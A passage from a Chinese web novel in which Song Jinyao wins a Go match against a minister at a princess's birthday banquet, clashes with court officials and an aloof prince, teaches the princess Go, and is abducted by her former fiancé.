可赵崇也不是软柿子,他猜到宋锦瑶心底打着算盘,嘴角忍不住鄙视一笑:“宋锦瑶,我真的要收回之前侮辱你的话了。”
“不愧是扬言道,让女子也能下围棋的人,要是真没点本事,确实也说不过去。”赵崇话锋一转,“可惜,你还是太过年轻。”
话音刚落,黑子左冲右突,凭借深厚算力,试图做活。
一时间,棋盘左下角杀得难解难分,黑子虽然暂时处于险境,但正好利用弃子战术,迅速在外围筑起一道厚势。
赵崇现在下得棋与中腹棋子遥相呼应,局势顿时混沌不明,看得周围人心连连提高一个点,不禁在为她揪心。
公主虽然看不懂棋局动向,但察觉到气氛突然变得格外严肃,心里或多或少明白些什么。
她双手攥紧,指尖微微发凉,心里默默替宋锦瑶祈祷。
宋锦瑶感觉到身侧人异样,用余光瞄了一眼公主,注意到她眼底的不安,毫不犹豫伸手落在公主发抖的手背上,好似在安慰对方。
直到公主一脸惊愕地抬眸望去,只见她嘴角微扬,轻轻摇头,好似在告诉她,让她放心。
赵崇得势不饶人,趁势力还未离去,连忙在腹中发起进攻,黑子以“大飞”“镇”等手段,迅速扩张势力。
宋锦瑶抬眸凝视着对方,语气异常冷淡,甚至有一丝敬畏。
“聒噪。”
她始终保持冷静从容状态,并没有因为对方发起猛烈攻击而慌乱手脚。
相反,现在的宋锦瑶思维格外十分清晰,白子在黑子腹中间隙而入,以缜密的“尖”“跳”招数,立马撕开对方一道道口子,瞬间清除黑子势力。
从她下得每一步棋,都引得周围官员发出阵阵惊叹。
可棋盘上并未就此结束,大堂内气氛压抑得可怕。
周围的烛火照在棋盘上,光影斑驳。
大家都屏气敛息,目光紧盯着棋局,好像面前黑白交错的棋子,是宋锦瑶在宣告众人,女子下围棋亦不会输给任何人。
宋锦瑶深吸一口气,重新审视全局。她意识到,若想破局,必须在右上黑棋薄弱处做陷阱。
于是,她毫不犹豫将白子悄然落在合适位置上,好似一头等待食物落网的老虎。
她一连串的“点”“刺”来引诱对方,要的就是让他知道自己的动静。
瞧见此局,令赵崇眉眼间皱纹越来越深,他为了避免失策,匆忙用黑子应对,殊不知宋锦瑶等着就是找个机会。
见对方成功落入网中,宋锦瑶立马抓住机会,白子瞬间断开黑子联络,一场劫争就此彻底爆发,引得周围官员一片唏嘘。
为了争这个劫,黑白双方围绕着几枚关键棋子,展开激烈争夺。两人互咬对方死不松口,气得赵崇连拿棋的手都在颤抖。
赵崇凭借着多年下围棋的经验,见此情景,只能另找其路。他开始频繁频繁寻劫,黑子在棋盘中来回突进,试图搅乱棋局。
宋锦瑶丝毫不在意,她内心不断在换位思考,精准算计白子落子点,稳守关键要点,她每次应劫都恰到好处,不给对方任何可乘之机。
随着劫争持续进展,双方时间越来越紧迫,连落子速度都不自觉加快。
【这女人到底是什么来头?】
【为什么她能算到我每个落子点,不可能,绝对不可能。】
赵崇面色凝重,汗水从额头渗出,手中黑子几近黏湿。
【大昭从来没有任何一位女子如此厉害,甚至她下得好几次棋法,我都从未见过,这……到底是怎么回事!?】
赵崇猛地抬头对上宋锦瑶那双深不见底的眼睛,竟能从内心感到一丝害怕,手指更是不受指挥发抖。
这一刻,他是真的怕了。
就在众人以为这场劫争将永无休止时,宋锦瑶突然从中找到良机,以一记绝妙的“跨断”,彻底打破僵局。
黑子瞬间陷入困境,回天乏术。
众人见证棋盘上的战术,一个个全都愣在原地不敢说话,每个人
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脸上写满不可置信,原本沸腾的气氛也突然戛然而止,紧接着便是漫长的惊愕。
赵崇脸色骤变,手中黑子悬在半空,良久,才重重落下,嘴里还不断重复着“怎么可能”这一句话。
棋盘上,黑子大势已去,白子聚在棋盘点连成一片。
宋锦瑶轻轻放下手中白子,起身向赵崇一拜:“尚书大人,承让了。”
此话一出,官员们迅速反应过来,众人还没来得及拍手鼓掌,赵崇率先起身,怒瞪着眼睛斥责道。
"妖女!她绝对是妖女,不仅知晓我的棋法,甚至还使用从未见过的招数,快!来人,将妖女拖下去杀了!"
公主怒然起身,恶狠狠地盯着周围上来的侍卫,语气严肃道:“我看你们谁敢!”
闻言,侍卫又停下脚步,纷纷左右对视,有些犹豫。
户部尚书李朗见状,连忙将赵崇拉到身旁,笑嘻嘻道朝着公主道:“公主,我想赵尚书今日喝醉了,你不必动他怒啊,我倒觉这宋锦瑶确实古怪,下得好几种棋法,在座的官员可都没见过呢。”
听闻,宋锦瑶忍不住嗤笑一声,满脸不屑道。
“两位尚书大人,你们今日又是叫臣女傻子,又唤臣女为妖女,怎么?就这么不愿意相信是自己本身就菜的原因?”
她不说话还好,一说话赵崇又来气,他朝宋锦瑶骂骂咧咧喊道:“从古至今没有任何一位女子以围棋获胜,你说你不是妖女是什么!”
“就是因为有你们这种自以为是的人在,才会导致从古至今从来没有女子获胜!”她也不是好脾气,说到她痛点也来气,气场丝毫不减半分。
“你们既不能舍身报效国家,又不能做到绝对公平,每天靠着女人活命又要贬低女人的价值。真是一条害人不浅的蛀虫,啃着朝廷的盈利又对朝廷毫无帮助,世界没了你这种人,反而多了一丝清净!”
“你!!!你!!你!”赵崇气得脸色通红,说话也不利落,只能干巴巴指着宋锦瑶,半天也憋不出一句话来。
“你什么你,我有名字,叫宋锦瑶,而且从来不是什么傻子和妖女,我有家人爱朋友疼,不像你,只能靠侮辱女子抬高自己的地位的人不一样。”
宋锦瑶说的条条有序,句句有理,听的周围人投来惊叹目光,甚至有些常年被打压的小官员都快被她感动哭了。
场面一度失控,户部尚书李朗连忙想制止,好意开口笑道:“宋姑娘何必这么大火气呢,今日是公主生辰宴,大家可都别坏了气氛啊!”
原本宋锦瑶火气就没下去,瞧见他此时此刻又假惺惺跑来当好人,瞬间怒火又上升一个档位。
宋锦瑶立马将矛头指向李朗:“宴会被搞砸了又知道今日是公主生辰?之前叫嚣的时候咋不想想现在处境?以为朝大家笑一笑就能解决今日这一事?李大人我不是说你,你甚至连赵大人都不如。”
此话一出,李朗笑容瞬间凝固在脸上,毕竟公主和各品官员都在,他也不好失了风度,只能连连点头:“宋姑娘所言极是,李某是之前对宋姑娘失礼,但宋姑娘不必因为揪住不放啊。”
“我揪着不放?”宋锦瑶差点没听到这话笑出声,“到底是谁一直揪着公主不放?是谁先开始挑衅公主?又是谁提议下围棋对弈?倘若这棋盘今日是我宋锦瑶输了,你们又会放过我吗?”
话音刚落,在场人全都安静下来,如果当真这样,即使是公主力保她,可能也无济于事。
他们没有任何回答,因为都心知肚明,只能低着头看向地面。
21. 021
宫殿内一片安静,大家你看着我,我看着你,没有一个人站出来回答宋锦瑶问题。
户部尚书李朗面面含笑,对她所说的话频频点头示道:“宋姑娘火气何必这么大呢,我承认我们之前作为太不对了,给宋姑娘赔个不是你看行吗?”
尚书给臣女道歉,已经算得上给足她脸面,但宋锦瑶丝毫不在意。
刑部尚书赵崇站在一旁看着李朗弯腰道歉,忍不住嗤笑一声,一下子引起周围人目光。
他满脸不屑朝李朗说道:“我说李尚书,为了讨好公主,保全颜面,何必跟一介不知天高地厚的小鬼道歉?真是给她脸了。”
李朗愣在原地,完全不知道赵崇会将话题引到自己身上,脸上顿时浮现难堪。
“确实不必跟我道歉。”宋锦瑶冷眼斜视看着赵崇,“但你们今日必须跟公主道歉,受公主责罚,承担今日所做的一切,即可,我便当做此事全然不知。”
“宋锦瑶,别以为你是公主的人就可以随意命令我们,知不知道我们还是陛下的人,你又有什么资格和我们讲话?”赵崇怒火渐渐平息下来,反而多了一丝得意。
瞧见他们这副模样,摆明输了不认账。
宋锦瑶握紧拳头,没有说话,抬头望着周围人的目光,一个个都低着头,显然不想卷入这场风波。
如果可以,她真想把眼前赵崇的嘴脸给撕烂。但她不能,她从现在的每个行为代表公主,她只能一忍再忍。
注意到她眼底流露出复杂情绪,公主轻轻叹了口气。她缓步走到宋锦瑶身侧,脸上苦涩笑道:“没事的,他们都是朝廷官员,要是将此事闹大,反而得罪陛下可不好。”
就因为他们是朝廷的官员,靠着官大的权利肆意妄为,就连公主都只能让步。
宋锦瑶看着那群丑恶的面孔,满脸不甘心回道:“公主,他们都这样欺负你了,怎么能就此放过,起码…起码得让他们意识到事情的严重性吧,况且今日还是你生辰。”
“我知道你在替我打抱不平,真的很感谢。但以我和你的实力,不足以和朝廷官臣对抗,我累了,扶我回去吧。”
听到这话,原本还感到一丝惶恐的赵崇瞬间傲慢起来,一副沾沾自喜的模样,挑眉挑衅着宋锦瑶。
就在大家以为此事将不欢而散时,宫殿大门突然传来一道有力的声音,紧接着,从门后走进来一群人,其中为首之人,她一眼辨认出。
“太子殿下驾到~”
这是宋锦瑶第一次见到当今太子,和传闻中一样,看起来是位十四五岁的少年。
他脸上的稚气还未完全退散,甚至心智停留在七八岁的模样,与身侧徐颂祁相比,更是矮上一个头。
众人看清是谁后,纷纷低着头朝太子鞠躬,就连公主亦是如此。可太子却全然不理会,站在高阶上,满脸好奇地上下打量周围。
宋锦瑶甚至有一瞬的惊愕,他们拜得不是太子,而是王爷徐颂祁。
看到是徐颂祁来了,宋锦瑶由心底感到开心,全程紧绷的神经也瞬间放松下来。认为以他的实力,一定能将自己和公主讨回一个公道。
反观各个官员,每个人脸色透露着害怕,特别是户部尚书李朗和刑部尚书赵崇,脸都吓白一个度。
宫中人人知晓宋锦瑶和王爷的事情,以王爷的性子,自然是不会放过这里的每个人,况且此事还牵连着公主。
可当众人抬头去查看情况时,徐颂祁依旧是一副淡然的模样,他并没有帮宋锦瑶说任何话。
他轻步走到公主身旁,满眼温柔注视着公主,声音透露着担忧:“公主没事吧?是本王来晚了,让公主受到委屈。”
公主默默摇头,眼底满是疲倦回道:“多亏宋姑娘相助,这才解决完,本宫乏了,你和宋姑娘留在这处理吧。”
徐颂祁没有说什么,细心叫人扶公主离开后,这才注意到一旁盯着自己的宋锦瑶。
她本以为徐颂祁会帮她,就像无数次在学堂那样,可这次没有,甚至连一个眼神都没在分过她一眼。
她看着徐颂祁面无表情地越过自己,直挺挺走到赵崇面前将周围人扶起,对上那群人惊愕的目光,丝毫不打算处罚任何人的姿态。
他浅笑着望着各位,不失风度翩翩道:“各位本是朝廷官员,为大昭办事,不必为此弯腰行礼,本王今日特意过来,就是想瞧瞧各位是否玩得尽兴。”
此话一出,周围人陷入一片寂静,谁也不敢说话,左顾右盼相互看着对方。
见众人不语,徐颂祁这才将目光落在宋锦瑶身上,但脸上仅有的笑容全消失不见。
“宋小姐,方才公主说多亏有你的相助才得以解决,能否询问你还需要本王替你处理什么吗?”
话音刚落,官员刚刚放下的心又一下子提到心眼,生怕宋锦瑶会说任何一个人的名字。
宋锦瑶没有说话,她看着那双冰冷的眼睛,竟然感到一丝陌生。
她在记忆里,徐颂祁从来没有对她出现过这般表情。
冷漠、无情、甚至有种令人畏惧的神态。
而且眼前这幅场景,根本不用她说说,是个人也能猜到发生什么,那他明知故问又是在试图她吗?
她不明白徐颂祁到底在想什么,如果她将尚书之事告诉他,他会还会义无反顾帮自己吗?
半响,宋锦瑶做了一个决定,她要将今晚所发生的事情全都告诉徐颂祁,赌他会站在自己身旁,帮自己讨回公道。
宋锦瑶坚定地目光对上他的眼睛,倾诉道:“王爷,今晚是公主生辰宴,刑部尚书和户部尚书两位大人频频骚扰公主,臣女帮公主赢得比赛后,他们却……”
话音未落,徐颂祁冷冷打断,语气更为陌生:“宋小姐有何证据?你可知随意诬陷造谣他人,依然按照大昭法律执行?特别是陛下极其看重的大臣。”
听闻,宋锦瑶彻底愣在原地,她不可置信地盯着徐颂祁,大脑一片空白。
“证据?”宋锦瑶伸出手指向桌子上的棋盘,不死心回道,“那里是我和刑部尚书对弈的结果,而且在场的官员们都看到了,他们都是证人!”
徐颂祁没有去看棋盘,而且目光仍然停在她的身上,轻声说道:“那只能说明你和刑部尚书下过棋,你如何解释两位尚书大人曾对公主进行骚扰过?”
可惜,她赌错了,徐颂祁从来没有站在自己身旁过,他生于朝廷,自然以朝廷为重,他又怎么可能会信任自己呢?
自始至终,一切都是宋锦瑶对他的滤镜罢了。
徐颂祁撇过脸,朝着低下官员问道:“各位有证明宋小姐所言是真的吗?”
明明大家都见证过之前发生的一切,此刻却没有一个人愿意站出来说话。他们都不敢得罪两位尚书,更不敢得罪王爷。
“我能证明!”突然,人群中传来一道响亮的声音。
大家注意力全都跟着声音往后探去,只见宋锦初不顾宋父阻拦,快步跑到宋锦瑶身前,将她紧紧护在身后。
宋锦初丝毫不在意任何人看法,甚至敢怒气冲冲瞪着徐颂祁:“王爷,我阿姊说的没错。不管是我,在场的大人都看到了,他们只是不敢得罪你们罢了。”
低
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下的官员:“……”
闻言,徐颂祁饶有兴趣地打量着宋锦初,眉眼间闪过一丝复杂情绪:“这位想必也是陛下看重的待御史吧?你的胆量我很是赞可,但还是太过于年轻莽撞些。”
言毕,他再次转头朝低下的人问道:“真如待御史所言那样吗?是两位尚书大人先闹事?”
周围大臣们不断朝两位尚书脸上瞥去,直到人群中传来一致的回答。
“我可没看到,我一直都在喝酒,这次与我无关。”
紧接着,整个宫殿全都不承认此事,认为是宋氏两人造谣两位尚书,至于帮公主一事,则是替公主下棋,仅此而已。
风向瞬间变了,刑部尚书赵崇满脸看好戏得打量着宋锦瑶,嘴角浮现出一抹不易察觉的笑容。
宋锦初瞧见这般家伙,气得脸都红了不少,刚想开口责骂底下的官员,被宋锦瑶率先制止。
宋锦瑶垂眸神色晦暗,轻声道:“算了锦初,既然王爷不相信我们,我们也没什么好解释的。这次是他们赢了,我们回家吧。”
“宋小姐。”徐颂祁看着她,提醒道,“你是公主的人,没有公主准许,可不能随意离开公主身旁。”
宋锦瑶一怔,手指不自觉攥紧,声音模糊道:“多谢王爷提醒,臣女不会回宋府的,只不过臣女有一事询问,为何王爷不愿相信臣女?”
徐颂祁没有立马回答,反而沉默很久,久到宋锦瑶以为他不会回答这个问题时,他才缓缓回道。
“宋小姐,越界了,我是陛下的人。”
“嗯,我知道了,多谢王爷回答。”
宋锦初惊愕地看着他,脸上写满不服气,但又只能乖乖听从宋锦瑶的话,刚想和宋锦瑶转身离开,不料被身后的赵崇喊住。
刑部尚书赵崇抱着手臂上下打量着宋锦瑶,眼底透露出鄙视:“宋锦瑶,你之前当着那么多人面骂我的话,我还记得呢。”
宋锦瑶:“……”
此话一出,众人又开始窃窃私语起来。
赵崇一脸趣味地继续道:“我也不是个坏人,只要你跪在我面前跟我道歉,我就原谅你了。”
宋锦初再也忍不了,他朝赵崇破口大骂道:“赵崇!你别欺人太甚!明明就是你该向我阿姊道歉,凭什么让我阿姊道歉!”
“就凭我是大臣,而且还是当今陛下最为看重的大臣!”赵崇挑了挑眉,不屑地看着温怒的宋锦初,“所以有资格让宋锦瑶给我跪下。”
他说得没错,他是陛下看重的官员,自然说话有一定分量,况且宋锦瑶还是一介女子,更能随意处置的人。
她神色晦暗,眼底早已没了之前的嚣张,只能快点离开这里,自己再也不想见到这里的人。
“好。”
宋锦瑶缓缓点头,丝毫没有犹豫便朝赵崇走去。
宋锦初瞬间僵在原地,不可置信地看着宋锦瑶,本想上前去阻止,但被她先行一步走开。
官员们瞧见这一幕不禁感到一阵唏嘘,嘴里原本还在支持赵崇的话,也逐渐变得认为他做得过于过分。
直到宋锦瑶经过徐颂祁面前时,他都没有任何动作行为,她便不由自主加快步伐。
就在她临近走到赵崇面前时,一瞬间,徐颂祁几乎是下意识紧紧抓住宋锦瑶的手臂,紧接着,整个人眉头紧皱,语气充满惊愕。
“宋锦瑶,你疯了吗?”
她尝试挣扎,奈何无论怎样都甩不开他的手,于是,她只能抬眸对上那双震惊的眼睛。
宋锦瑶一字一顿回道:“王爷,你越界了,我是公主的人。”
22. 022
两人就这样僵持在这里,谁也不再开口说话。徐颂祁冷眼凝视着宋锦瑶,握紧她的手指不自觉加重。
他回手一扯,直接将宋锦瑶整个人甩到宋锦初身上,眼神不再去看她。
“麻烦待御史送宋小姐回公主府,至于这里的事,本王会替宋小姐处理。”
宋锦初知道他在帮阿姊,自然不顾宋锦瑶怎么想,立马拉过她的手朝宫殿外走去。
夜晚的冷风吹在她的脸上,让混沌的大脑有一丝清醒,回想到今晚所发生的一切,一种从未有过的委屈感竟然涌上心头。
她强忍着情绪,任由宋锦初拉着她,不知走了多远,直到耳边再也没有传来宫殿的喧闹声后,他才突然停下身子。
“我不懂。”宋锦初垂眸不去看她,语气透露出不解,“即使朝廷官员都这样对阿姊了,阿姊还要义无反顾进去,这到底是为了什么!”
“我就是看不惯那些人欺负阿姊,只要阿姊不开心我就很难受。现在连王爷都不相信阿姊,你说让我怎么放心让阿姊一人去闯?”
宋锦瑶站在原地,见他因为害怕自己出事,而微微发抖的身子,神色晦暗不堪。
“没关系。”宋锦瑶抬头用手抚摸他的脸庞,“阿姊不需要得到任何人相信,只要你能站在我身旁,足矣。”
月光洒在宋锦瑶身上,勾勒出一道温柔的视平线,她嘴角弯起苦涩的微笑,不断安慰着眼前的少年郎。
回公主府的路上,两人再也没有说过一句话,直到见宋锦瑶步步朝他远去,宋锦初还是没忍住喊住她。
“阿姊,此次一别又不知何时能相见,愿你岁岁无虞,长安常乐。”
宋锦瑶回眸望向眼前之人,这次,她是发自内心的露出笑容,微微点头示意。
大抵是公主特意安排人等候宋锦瑶回来,此时整个公主府内灯火通明,甚至好几位下人瞧见她回来后,连忙想去禀报公主,幸好被宋锦瑶即使喊住。
宋锦瑶不明所以询问道:“怎么回事?这么晚了公主还没有休息吗?”
丫鬟连忙点头,回道:“公主自从回来后,就一直心宁不定,担心宋棋师处理不了宴会之事,所以等到现在。”
宋锦瑶若有所思地“嗯”了声,让下人别告诉公主她已经回府,随后,让她们找些宣纸和剪刀。
公主的房间在府邸内院,保证足够的私密空间,往往这一带较为幽静。
等她轻轻敲响房门时,里面的人误以为又是丫鬟催她休息,公主满脸不耐烦回了句。
“本宫都说了,不等宋姑娘回来,本宫是不会睡的!”
听闻,门外声音果然停了下来,紧接着,传来一道熟悉的声音。
宋锦瑶温柔回道:“公主,臣女回来了,能让我见见公主吗?”
下一秒,房门立马被打开,对上那双风花雪月的眼睛,公主丝毫不在意身份之差,一把搂住她,整个人紧紧靠在宋锦瑶身上。
她身子有一瞬的微怔,但反应过来后,伸出手轻轻安抚公主。
公主埋进她的怀里,声音含糊说道:“宋锦瑶,关于今晚这事,本宫真的很谢谢你,但又很对不起你,总而言之,多亏了你。”
察觉到身上的人发出轻笑声,公主更不好意思继续道:“你别笑,本宫是认真的!我看到你义无反顾帮本宫的样子,本宫真的很感动。回来后本宫就一直在想,为什么我就不能像你那样勇敢……你会不会觉得本宫很没用?”
说到后面,公主声音明显按暗了下去。
“我从来没有这样想过。”宋锦瑶注视着身下的人,笑道,“相反,臣女看到公主居然会帮我说话,臣女就特觉得公主非常棒。”
说到这,宋锦瑶从袖子里悄悄拿出一张剪纸递给她,瞧见公主眼睛“刷”的一下变得明亮起来,她忍不住轻笑出声。
剪纸上剪得是一只蝴蝶,即使周围的翅膀有所损坏,但丝毫不影响蝴蝶的本身美丽,甚至象征破茧成蝶的艰辛。
“送给本宫的吗?”公主不可置信地眨巴眼睛看着宋锦瑶,直到她轻轻点头,脸上顿时浮现出笑容。
瞧见公主拿着剪纸,脸上藏不住开心。宋锦瑶不禁感到一丝疑惑。
在她认知里,皇室的人不应该对这种小东西看惯才对吗?为何一个个都爱不释手?
她轻轻叹了口气,抬眸间,注意到桌子上着棋盘,立马猜到公主在等自己回来的时间里,肯定自己偷偷练习下棋。
只不过肯定像个无头苍蝇似的,不知所措。
宋锦瑶眉眼弯弯对上公主的眼神,认真说道:“公主想学围棋吗?”
闻言,公主眼中闪过一丝惊愕,随后想也没想点头:“我想!本宫想向你一样厉害,更想向他们证明,女子下围棋亦可战胜那些人!”
“好,那臣女教公主如何下围棋。”
夜晚的棋盘上点燃蜡烛,昏暗的灯光照在两人脸颊上,宋锦瑶起身坐在公主身旁,耐心地讲解围棋基本规则。
她拿起一颗黑子,稳重放在棋盘上,说道:“公主,这围棋棋盘纵横各十九道线,交叉形成三百六十一个交叉点。黑子先行,双方交替落子,目的是围地,最后谁围的地盘大,谁就获胜。”
公主认真听着,时不时提出问题,宋锦瑶都一一详细解答。随后,宋锦瑶开始演示一些简单的定式和常见的布局。
公主学得很用心,眼睛紧紧盯着棋盘,努力记住她落子的每个步骤。
让公主按照自己落子点下棋时,竟能完美无误复刻出,宋锦瑶不禁夸赞道:“公主聪慧,学得极快。”
被她这么一说,公主脸颊微红,有些不好意思回道:“还是宋姑娘教得好,深入浅出,本宫一听就懂。”
随着夜渐渐深入,公主感到一丝困乏,眼底的疲倦也越来越明显,她忍不住打呵欠,但又不想打扰宋锦瑶的兴趣。
“公主要是乏了便去休息吧,”宋锦瑶将棋盘上的黑白棋子收回,柔和道,“往后还有时间,不必今晚全都学会。”
见她要走,公主连忙扯过她的裙子,一脸八卦询问道:“本宫还没问你之后的事呢,就是本宫走后,王爷帮你解决那群官臣了吗?”
宋锦瑶:“……”
察觉到不对劲,公主眉头微皱,又将宋锦瑶摁了回来,语气透露出一丝不解问道:“不应该啊,那他过来做什么?单纯看我俩好戏?而且说实话,他应该会帮……”
话还没说完,宋锦瑶“腾”的一下又站起身,语气严肃道:“夜已经深了,公主早点休息,我与王爷并未发生过什么,他也没理由帮我。”
公主被她这话愣在原地,还没等反应过来,宋锦瑶生怕她将自己拉回去,于是,赶忙头也不回地逃走。
从那之后,关于宋锦瑶在公主生辰宴上因为和尚书下棋对弈一事,在整个大昭彻底走红,大街小巷全都在传她精彩的逆袭故事。
甚至好几家书店将她的事迹写进小说里面,获得大量女性用户疯狂购买,书籍一旦出售就会横扫荡空,一时间所有人对这个奇女子的观点全然刷新。
这几日,公主也会购买些关于她的书籍看看,瞧见那些人将宋锦瑶吹得天花乱坠的模样,她也忍不住跑到宋锦瑶面前当众朗读,引得整个公主府都传来嬉笑打闹声。
大家都沉浸在女子有可能击败男子的希望中,只有她一个人意识到后背匪夷所思点。
自从上次生辰宴已经过去整整半月之久,她不但没有听到关于两位尚书之事,甚至就连徐颂祁出面也无人提及。
这一切就像是有人在
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冥冥之中助她一臂之力,她想要的结果也正巧与期望一致,只是单纯的让世人知晓对弈之事。
是徐颂祁吗?
她不禁摇了摇头,那日他冷漠的眼神,绝情的话语,宋锦瑶直至今日还历历在目,他何必要帮她做这些,根本没有理由。
最后,宋锦瑶只能将这件事认为是宋锦初所为,毕竟他也很想让大家知晓,阿姊是一位很厉害的围棋师。
“宋锦瑶!你在发什么呆呢,快过来!”
听到公主在叫自己,抬眸间,正巧望见公主脸上洋溢着笑容,她叹了口气,甩了甩脑袋,将这些烦人的事情全都丢出去。
管他是谁,反正她的目的已经达成了。
今日天气难得不酷暑,吹来的风都带有阵阵凉意,学了一上午的围棋,公主下午便兴致勃勃找来风筝想玩。
由于公主府建筑物过于密集,她们便打算去宫外游玩,纵使一路上宋锦瑶都挺担心外面不安全,但公主却一副“我经常偷溜出来”的姿态,让她放心。
抵达大平原后,除了郁郁葱葱的草坪外,果然人烟稀少,宋锦瑶让好几位侍卫守在周围,保护公主人身安全后,她才悬着的心悠悠放下。
公主坐在长椅上,没好气说道:“宋锦瑶,你也太小题大做了吧,这地方本宫经常来,放心,出不了事的!”
但愿如此。
宋锦瑶没有回她,将风筝绑好线后,便让公主和几位丫鬟去草坪奔跑。
她坐在长椅上,悠闲地打量着公主欢快的身影,清爽的微分吹过她的发梢,暖洋洋光线照在她身上有些犯困。
大概是最近几日帮公主学习围棋,导致自己没睡好的原因,恰巧现在温度刚好,只感觉眼皮越来越沉重。
她不能睡,以往这种时候她如果睡了,剧情肯定会朝着公主失踪上演,然后她被陛下质疑下狱,最后落得一个人财两空的结局。
她光是想象觉就得恐怖。
宋锦瑶瞧见水源快没了,于是,想到一个办法,她站起身朝公主大声喊去:“公主,我去周围买些水,你自己注意点,我很快就回来!”
公主已经跑到老远地方,隐隐约约朝她伸了伸手,示意听见,宋锦瑶这才放心离去。
结果就是她包着周围转了一圈,也没找到一家店铺。正当她眉头紧蹙,不知所措时,瞥见山下开了一家生意较好的饭馆,只不过路程有些远。
沉思片刻后,她最后还是决定朝着山下跑去。
当她宋锦瑶到饭馆门前时,整个人已经累得气喘吁吁,注意到这一带的人竟然比她想象中的人还有多,感到一丝意外。
来不及思考,她颤颤巍巍坐在椅子上,还没开口说话,眼快的小二连忙跑上询问。
宋锦瑶将所需要的东西告诉小二后,不禁感到疑惑问道:“这一带看起来实属偏僻,为何会聚集这么多人?”
听闻,小二笑嘻嘻解释道:“客观有所不知,你别看这里偏僻,其实往上走就是皇室休闲领地,往前走就是外城,很多来往客人都会经过于此。只不过前面较为凶险,听说前不久来了一群山匪,从此也没咋太平。”
外城?山匪?
经他这么一说,宋锦瑶倒是注意到从她进来后,周围的客人目光全落在自己身上,甚至每个人脸上都有疤痕。
这里看起来就是个打着饭馆的旗号,其实是山匪窝。
自从有了上次经历,宋锦瑶对这一类人早已心生畏惧,领过小二给的水后,刚想转身离开,不料身后立马传来一道声音。
“宋锦瑶?”对方有些迟疑,直到彻底确定是她后,语气挑逗些趣味:“真是好久不见啊。”
她瞬间愣在原地,这个声音,这个语气,猜到身后是谁,整个人不禁起了一层寒意。
23. 023
见宋锦瑶不说话,那人起身朝她步步走近,目光依旧停在她身上不停打量。
“听闻自从你与我退婚后,日子可谓是风生水起啊。”傅渊走到她面前,满脸不屑道,“看,这小脸蛋都粉嫩许多。”
他忍不住伸手想去抚摸那张脸,正好被宋锦瑶伸手打断。
她抬头对上那双令人恶心的目光,眉头微皱道:“我不知何时招惹到傅公子,为何公子会派人来取我性命。”
闻言,傅渊忍不住嗤笑一声:“取你性命还需瑶理由?该说不说还得是你啊,不仅能够平安无事回来,甚至还将那个死女人也放走。”
落画的事傅渊为何会知晓?
宋锦瑶猛地盯向他,手指微微弯曲,质问道:“你对她做了什么!”
傅渊嘴角微扬,眼中全是轻蔑:“别激动啊,我能拿她做什么,她只不过是一条贱命罢了,不值得你如此在乎。”
“啪——”
话音刚落,一道清脆响亮的巴掌深深落在傅渊脸颊上,打得在场所有人措手不及,一个个眼睛都瞪大不少,满脸佩服的看向宋锦瑶。
宋锦瑶面色温怒,手掌传来的疼痛感弥漫周围,她却丝毫不在意,甩了甩酥麻的手心,鄙视道。
“不把人命当回事的人,才是贱命一条!”
她恶狠狠地瞪了眼傅渊,拿起桌子上的水瓶转身就走。
见状,傅渊眼底泛起一丝兴趣,他伸手摸了摸脸颊上火辣辣的巴掌印,神色瞬间黯然下来。
他抬手朝周围兄弟比划几下后,心领神会的人立马抄起家伙朝宋锦瑶走去。
他们气势汹汹地挡住宋锦瑶的路,瞧见这种难得一遇美人后,眼底透露出恶心的目光,恨不得将她包围起来。
傅渊不紧不慢跟上来,挑眉道:“宋锦瑶,不愧是攀上皇室的人,骨子都硬了不少,可惜了,在我面前没有用。”
宋锦瑶手指死死握紧水瓶,不断地打量着周围,道:“你们想干嘛!”
傅渊轻笑回道:“放心宋小姐,我不是山匪,自然不会对你动粗,只不过有一件事,还想请你跟我们走一趟。”
哪有请人是用这种方式?
见包围的圈逐渐缩小,宋锦瑶临阵不乱,仔细观察这里每个人状态,直到目光落在一位身材娇弱的口罩男子前,她立马下定决心。
趁着他们自以为她会束手无策时,宋锦瑶毫不犹豫领起水瓶狠狠砸向那名男子,水瓶顿时在那名男子脸上爆开。
众人目光立马被吸引,纷纷朝那边查看,于是,宋锦瑶马不停歇又拿起水瓶,毫不犹豫朝挡路的人丢去。
百发百中。
她想也没多想,趁着那群人慌乱之际,连忙领起裙摆往皇室领地跑去。
还没等她多走两步,下一秒,一击木棒重重砸向她的后脑勺,紧接着,她整个身子瞬间软了下去,意识越来越模糊,甚至听到傅渊惊愕的声音。
“疯了吗?要是她有个三长两短……”
宋锦瑶感觉有一股暖流从脑袋后流出,随后,便没了意识。
这次昏迷,她一度以为自己又死了。
从她误打误撞穿进这个世界以来,经过的全部画面都在她眼前转瞬即逝。
就像一段人生的结束,播放着她生前所做的一切事情。
我这是走马灯了吗?
宋锦瑶疑惑地打量着周围漆黑环境,望着面前像电影胶带似的画面,她好奇地想伸手查看时,耳畔突然想起冰冷的机器声。
【检测到宿主意识成功恢复,请宿主好好活着,继续朝目标前进。】
什么?
她还没明白系统这句话的意思,随后,整个头便疼痛起来,面前电影胶带开始分崩瓦解,耳边逐渐床来人的声音。
“醒来了!快!快去禀报公子!”
话音未落,床边一个丫鬟连忙朝门外跑去。
她居然没死,真是福大命大。
宋锦瑶缓缓睁开眼,目光呆滞地望着床顶,脸色憔悴,脑袋巨疼,整个人就像是一个活着的尸体。
她下意识想摸摸自己脑袋,却被身侧丫鬟赶忙制止。
丫鬟语气略有生气:“宋小姐,你伤口没完全好,还不能动,乖乖躺下休息!”
这个声音不是小厌,她不认识这里的人。她不能留在这里,公主还在等她回去。
见宋锦瑶执意起身,丫鬟眉头紧皱,没好气说道:“宋韵小姐!你要再乱动下去,我可就要告诉公子了!”
?
闻言,宋锦瑶瞬间停下动作,反手死死抓住丫鬟的手腕,满眼不可置信道:“你叫我什么?还有这里是哪!我要回去!”
丫鬟很明显被她这一举动给吓到了,语气慌张回道:“宋韵小姐,这里是棋阁,公子说以后这就是你的家。”
宋锦瑶猛地抬头对上丫鬟那双不明所以的眼睛,刚想环顾四周查看情况,不料眼前一黑,整个人又倒了回去。
等她再次有意识醒来后,床边早已经没了丫鬟身影,月光透过窗户洒进房间,隐约能看清房间内的布局。
这是一间极为简约,甚至说得上朴素的房间,无论是从周围的建筑还是家具摆放,无不一说明这里间客房。
她强撑着身子走到铜镜前坐下,望着脑袋上缠着一层厚厚的纱布。
透过铜镜来看,纱布已经焕然一新,想必是她昏迷期间,不断有大夫过来查看。宋锦瑶凝视着镜中憔悴不堪的自己,不禁回想到刚醒来时,那丫鬟所说的话。
她们嘴里的公子想必就是傅渊,他为何要将自己带到这里,而且还是棋阁。
